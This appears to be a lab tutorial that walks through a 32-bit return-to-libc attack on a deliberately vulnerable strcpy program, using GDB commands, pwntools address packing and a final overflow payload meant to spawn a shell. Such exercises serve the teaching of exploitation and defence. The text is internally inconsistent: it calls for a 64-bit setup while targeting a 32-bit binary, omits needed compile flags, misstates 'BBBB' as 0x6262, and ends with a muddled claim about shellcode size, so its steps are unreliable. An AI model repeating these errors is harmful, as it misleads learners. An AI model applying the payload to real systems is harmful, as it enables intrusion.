2. 32 bit - Return to Libc

Exercise 2: Exploiting Return-to-Libc

In this exercise, you will learn the fundamental concepts of return-to-libc exploits. By the end of this exercise, you should understand how to perform a return-to-libc attack.

Objectives

1. Understand the concept of return-to-libc attacks.
2. Analyze a vulnerable C program.
3. Observe the behavior of the program during a return-to-libc exploit.

Prerequisites

1. A 64-bit Linux environment (e.g., Ubuntu).
2. Basic understanding of C programming.
3. Familiarity with the Linux command line and GDB.
4. Knowledge of how the stack works in computer memory and basic buffer overflow concepts.

Exercise Steps

Return-to-libc is more challenging on 64-bit systems. If you have completed Exercise 1, this will be easier to understand since it builds on the concept of gaining control of the RIP. However, the code for a 32-bit exploit is different. Let us begin.

This exercise uses the code from Exercise 1 and ensures it is NX protected. To overcome this, we will need to perform a return-to-libc attack.

```
cc prog1.c -mpreferred-stack-boundary=2 -o prog1
```

Step 1: Analyzing the Source Code

```
#include <stdio.h>#include <string.h>int main(int argc, char
*argv[]) {
    if (argc < 2) {
        fprintf(stderr, "Usage: %s <input>\n", argv[0]);
        return 1;
    }

    char buffer[64];

    // Vulnerable function: copies input to buffer without bo
unds checking
    strcpy(buffer, argv[1]);

    printf("Buffer content: %s\n", buffer);

    return 0;
}
```

Buffer Overflow Vulnerability

- The use of `strcpy` makes this code vulnerable to buffer overflow. If the input provided in `argv[1]` exceeds 64 bytes, it will overflow the `buffer`, potentially overwriting adjacent memory locations, including the return address on the stack.

Step 2: Checking Defenses

Since the NX bit is enabled, it can be checked in GDB with the `checksec` command. The NX category should have a green tick.

```
gdb prog1
b main
r
```

```
checksec
# Output should show NX: ✓
```

Step 3: Finding Relevant Addresses

We need to find the addresses of:

- `system()`
- `exit()`
- `/bin/sh`
- libc base

Finding `system()` and `exit()`

In GDB, use the `gef` plugin to simplify the process.

```
p system
# Save this address

p exit
# Save this address
```

Finding `/bin/sh`

First, find the base address of libc using `info proc map`.

```
info proc map
# Look for the libc entry and note the starting address
```

Next, find the offset of `/bin/sh`.

```
strings -a -t x <file of libc> | grep "/bin/sh"
```

Add the base address of libc to the offset of `/bin/sh`.

```
# Example
x/s <base_address + offset>
# Should output "/bin/sh"
```

Step 4: Exploiting

Convert the addresses to little-endian format. Use the `pwntools` library in Python to help with this.

```
from pwn import p32

system_addr = p32(0x12345678)  # Replace with actual address
exit_addr = p32(0x23456789)    # Replace with actual address
bin_sh_addr = p32(0x34567890)  # Replace with actual address
```

Step 5: Crafting the Exploit

Find the correct offset to overflow the buffer.

```
run $(python2 -c "print 'A'*72 + 'BBBB'")
# Ensure it overwrites the return address with 'BBBB'
x/wx $eip
# Should show 0x6262..
```

Now craft the final exploit string.

```
run $(python2 -c "print 'A'*72 + '<system_addr>' + '<exit_add
r>' + '<bin_sh_addr>'")
# Should open a shell
```

Conclusion

Congratulations! You have completed a return-to-libc exploit on a 32-bit binary. This method is useful when the buffer is above 30 bytes or so since stack overflow shellcode is typically around 20-30 bytes.